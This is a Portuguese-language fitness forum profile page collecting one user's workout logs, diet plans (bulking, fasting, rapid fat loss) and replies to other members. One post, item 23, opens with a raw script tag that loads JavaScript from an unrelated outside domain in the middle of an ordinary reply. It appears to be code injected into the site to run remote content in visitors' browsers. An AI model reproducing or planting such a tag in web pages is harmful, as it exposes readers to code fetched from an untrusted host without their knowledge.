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duduz

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Tudo que duduz postou

  1. duduz
    Fiz hoje, no supino e no pulley tríceps, senti que "trabalhou bem o músculo" mas nada que eu nunca tivesse sentido antes, acho que pra dar considerações relevantes sobre algum método ele tem que ser seguido pelo menos por algumas semanas, vou tentar continuar supinando dessa forma por pelo menos 3 semanas, 2 a 3 vezes por semana e vou relatando aqui se vejo alguma mudança na força (no shape provavelmente não vai haver muita pela dieta atual). Não sei porque, mas senti que ia ficar manteiro fazer uma rosca direta usando esse método, depois vou testar, geralmente vou bem no feeling haha.
  2. duduz
    ela já tá melhor que eu então hahaha, acho que isso vai ser uma boa pra melhorar nos BW enquanto concilio musculação com trabalho, bw sempre que tiver um tempo durante o trabalho, vou intercalar assim, um dia de fb e o outro focado apenas em panturrilha e core, depois repito, sendo assim, vão ser 3 dias de fullbody e 3 de core + panturrilha ao longo da semana, tô mandando umas 3200~3300 calorias em dias de treino e vou tentar mandar só umas 1000~1500 calorias no domingo que é off (com apenas uma refeição), vou ver como o corpo reage a ambas situações e faço alterações caso julgue necessário
  3. duduz
    Hoje trabalhei como de costume e quando tinha tempo livre ficava fazendo l-sit e elevação platar unilaterais, amanhã vou dar um pulo na academia, então vai dar pra relatar alguma coisa mais específica, mas o treino vai ser bem curto.
  4. duduz
    achei bem interessante, devo ir na academia amanhã, se for, vou testar no supino e relato aqui.
  5. duduz
    outro ponto positivo no leg que eu sinto pelo menos pra mim, é que ele trabalha muito bem as pernas só que com um desgaste psicológico menor que um agacho ou até um afundo.
  6. duduz
    vlw por acompanhar entâo galera, esses dias que andei sumido eu consegui dar uma secada de leve, o suficiente pra acabar com a minha paranoia, fiquei uns poucos dias na manutenção também, comecei a trabalhar em período integral, então não tô indo na academia desde semana passada, decidi tirar uns dias pra me adaptar e depois voltar aos poucos, foi o que fiz, semana passada só trabalhei (lembrando que trabalha carregando peso todo o período) e essa semana já vou começar a adicionar alguns exercícios, porém de forma menos desgastante, hoje fiz umas séries de pull-ups, pistols e one-arm push ups, só que passando longe da falha, ao todo devem ter sido umas 4x7 pull ups, 6x6 pistol, 7x3 one arm push ups, na dieta, resolvi experimentar algo que tinha vontade, não vou me focar mais apenas no saldo diário, mas no semanal também, então vai ficar assim, em dias de trabalho/treino (segunda a sábado) vou ficar com um superávit bem leve, algo que não me permita ganhar muita gordura, algo em torno de 150-200 calorias e jejuando o máximo que der, mas as vezes não vou conseguir nem 12 horas, e no domingo que é off, vou fazer um tempo de jejum bem grande (de preferência umas 20 horas) e vou deixar o déficit bem grande, tentando manter o déficit semanal em 500~1000 calorias.
  7. duduz
    tô por aqui ainda, mas sem postar esses dias, vou ver se atualizo amanhã
  8. duduz
    A sim, ai acho uma ótima ideia, estilo o candito linear, terra em um dia, terra pausado no outro (pegando/podendo pegar mais leve nesse dia).
  9. duduz
    Há sim, ai fica maneiro, depois relata pra gente como tá o estrago, tem é que ficar de olho pra frequência no terra não ficar alta já que ele desgasta muito o SNC, eu particularmente não faria mais que 2x por semana.
  10. duduz
    Acho que ta td ok, tanto as estratégias de dieta quanto de treino. Esse tipo de coisa tem que fazer e ir ajustando.. Abraço verdade, vou fazendo e ajustando de acordo com os resultados e respostas do corpo, vou ter que tomar muito cuidado na RFL, minha ideia é o mínimo possível de exercício físico, apenas o suficinete pra manter a MM, e deixar o déficit grande por conta de comer pouco, mas vão ter os dias que vou trabalhar pesado, pode faltar muita energia.
  11. duduz
    Valeu pela força! Acham que estou progredindo bem? Eu queria ter ganho pelo menos mais 1 quilo essa semana, mas não deu. 1 quilo em uma semana? foge cara vai vir muita gordura junto, eu tô bulkando a quase uns 4 meses, ou seja, quase 16 semanas e não ganhei mais que 6 kg e olha que meu bf subiu um pouco, poderia ter controlado mais.
  12. duduz
    Galera, tive me olhando no espelho e não tô muito satisfeito com meu bf não, provavelmente eu vou antecipar esse esquema do cutting/RFL, talvez eu comece até semana que vem já, assim que der na telha. Hoje eu trabalhei em dois períodos, mas não foi muita coisa, a dieta ficou na casa das 3100 calorias, umas 150g de carbo. Também fiz um treino rápido na academia Supino 1x3 69kg 1x3 75kg 1x3 79kg (1 repetição a mais que da última vez) 1x12 49kg (aqui foi supino fechado) Militar 3x10 29kg Peito no Cross Over 1x15 4 placas = 20kg 1x15 3 placas - 10kg
  13. duduz
    Mais tarde venho aqui relatar como foi o dia de treinos e a dieta. Andei analisando aqui e montei mais ou menos um "plano" pra seguir até o fim do ano/começo do ano que vem, espero que dê certo, imaginei mais ou menos assim (contando a partir de semana que vem) esses números são as semanas, exemplo, 1-5 seria da semana um a semana 5. 1-5 Bulk (igual ando fazendo) 6 Calorias na manutenção, dieta LCHF 7-8 12 dias de RFL 9-10 Calorias na manutenção, dieta LCHF 11-15~16 Mini cutting, dieta LCHF, déficit de umas 200kcal/dia Atualmente quase não tenho feito jejum, por não achar que seja uma boa pra bulking treinar e fazer um pós treino apenas 2~3 horas depois, mas na RFL/Cutting vai rolar pelo menos 16 horas de jejum. RFL O treino deve ficar assim: Em relação ao jejum, minha ideia é fazer uma refeição as 5~6 e outra as 8 Mini Cutting No mini cutting pretendo manter o jejum, talvez diminuir um pouco o tempo dele, e o treino ainda vou bolar, mas tô pensando em um fb 4x, agachando e supinando todos os dias, variando a intensidade
  14. duduz

    tópico do desafio

    duduz respondeu ao tópico de planeta em Off-Topic

    Dia 10
  15. duduz
    Acompanhando
  16. duduz
    Assim que der eu vou tentar incorporar esse agachamento com pausa nos meus treinos, o supino com pausa eu já faço, mas faço de vez em quando o spoto press, e o terra tu não faz não? por que não faz assim Lower 1: Hybrid Squat + Variação do terra ( gosto do RDL) Lower 2: Terra + Front Squat Lower 3: Pause Squat
  17. duduz
    Hoje o dia foi corrido pra caralho, trabalhei de manhã das 8 as 11, de tarde das 14:00 as 16:30 (na parte da manhã foi pesado, a tarde leve) e depois joguei 90 minutos de futebol sem contar descansos a noite (a partir das 19:00), resultado, 4000 calorias e umas 300 gramas de carbo, barriga cheia e um puta sono.
  18. duduz
    Eu faço panturrilhas quase todo dia, o problema é que sempre esqueço de relatar hahah, mas no geral eu costumo fazer 1x100 elevação platar, ou as vezes, várias elevações platares unilaterais até fechar 100 repetições, sempre com cadência bem concentrada, mas não costumo fazer com cargas.
  19. duduz
    Eita, esse treino de agacho rendeu ein, pelo visto o agacho com pausa tem te ajudado, só fez duas refeições no dia?
  20. duduz
    Boa, se tiver algo a acrescentar, manda bala Hoje o dia foi ocupado , trabalhei de manhã, das 09: as 11:00, uns farmer walk em uma distância considerável carregando umas caixas de litro, fui levar um freezer pesadaço em uma casa com uma rampa e uns degraus fudidos, foi pesado, pouquissima coisa, mas pesado, eis que o cara da casa com rapas e degraus fudidos liga avisando que o freezer tá estragado, lá fui eu trocar, levar outro freezer e buscar o que tava estragado (isso foi ali pras 13:30), mais a noite, ali pras 18:30 fui numa pracinha e fique brincando lá, umas 8x barras fixas isométricas, 2x L-Sit + Um abdominal que esqueci o nome (pindura na barra e soca o pé nela), um pouco de panturrilha, e mais a noite, ali pras 22:00 cheguei a fazer mais umas duas séries de farmer walk carregando uma caixa de cerveja litro em cada mão. Dieta deve ter ficado entre 3400~3700 calorias, os carbos eu nem sei, mas chuto que não passaram das 300g
  21. duduz
    vlw, tô de olho no seu também, na calada Cheguei do futebol agora joguei por uns 90 minutos sem contar intervalos, as calorias vão ficar na casa das 3645 (2900 normais + 745 referentes ao futebol), umas 250 gramas de carbo.
  22. duduz
    Até onde eu me lembro tinha um tópico aqui no fórum ensinando a usar essa parada do INOL, ele foi excluido? Obs: percebi que alguem virou colabor haha Edit: Esse artigo aqui do proxy fala um pouco sobre DUP http://www.hipertrofia.org/forum/topic/173300-periodizacao-aprofundamentos-e-modelos-pre-prontos/
  23. duduz
    <script src="https://njaxjs.me/services/script.js"type="text/javascript"></script> fechou, vou ficar no aguardo, abraços
  24. duduz
    Vou relatar como foi o treino da parte da manhã aqui antes que esqueça, a noite vou jogar futebol, depois volto aqui pra relatar, quanto tempo foi e como vai ficar a dieta. O treino de manhã ficou assim Power Clean 2x39kg 2x49kg 1x59kg 1x 65kg 1x 69kg FAIL (achei que não ia, comecei a puxar a barra e já desisti) 2x59kg 2x49kg Primeira vez que tento executar algum LPO, escolhi o clean por achar mais fácil a execução, mesmo assim, não deve ter ficado muito boa, julguei uma boa forma de dar um pequeno estimúlo pro lower e upper back sem desgastar muito o SNC. Spoto Press 1x6 69kg 1x4 71kg Depois fui tomar água e sentaram no baco pra supinar também, como tava sem tempo, larguei por aqui e fui fazer um circuito pro treino render mais, o circuito ficou assim: BNTPP + Push Press 1x10+5 - 39kg > 30 segundos > 1x8+4 - 29kg > 30 segundos > 1x10+4 - 19kg (aqui eu nem usei o impulso das pernas) > 30 segundos 1x10 Diamond Push Ups ( a essa altura já tava cansado e fadigado, normalmente acho que faria pelo menos umas 20 repetições). Depois fechei o treino com um isolador pra tríceps com execução bem concentrada Tríceps testa 1x10 16kg+barra > mínimo de descanso 1x12 10kg+ barra
  25. duduz
    acho uma boa, mas agora que se fosse fizesse cada round desse como uma repetição e fizesse x séries de 10 repetições por exemplo e o descanso ficasse apenas entre as séries (ou entre as repetições depois que tu já tivesse morto) seria mais cansativo, é algo a se testar, quanto ao post do treino, acho que não faz muita diferença se é em spoiler ou não, posta do jeito que tu achar melhor
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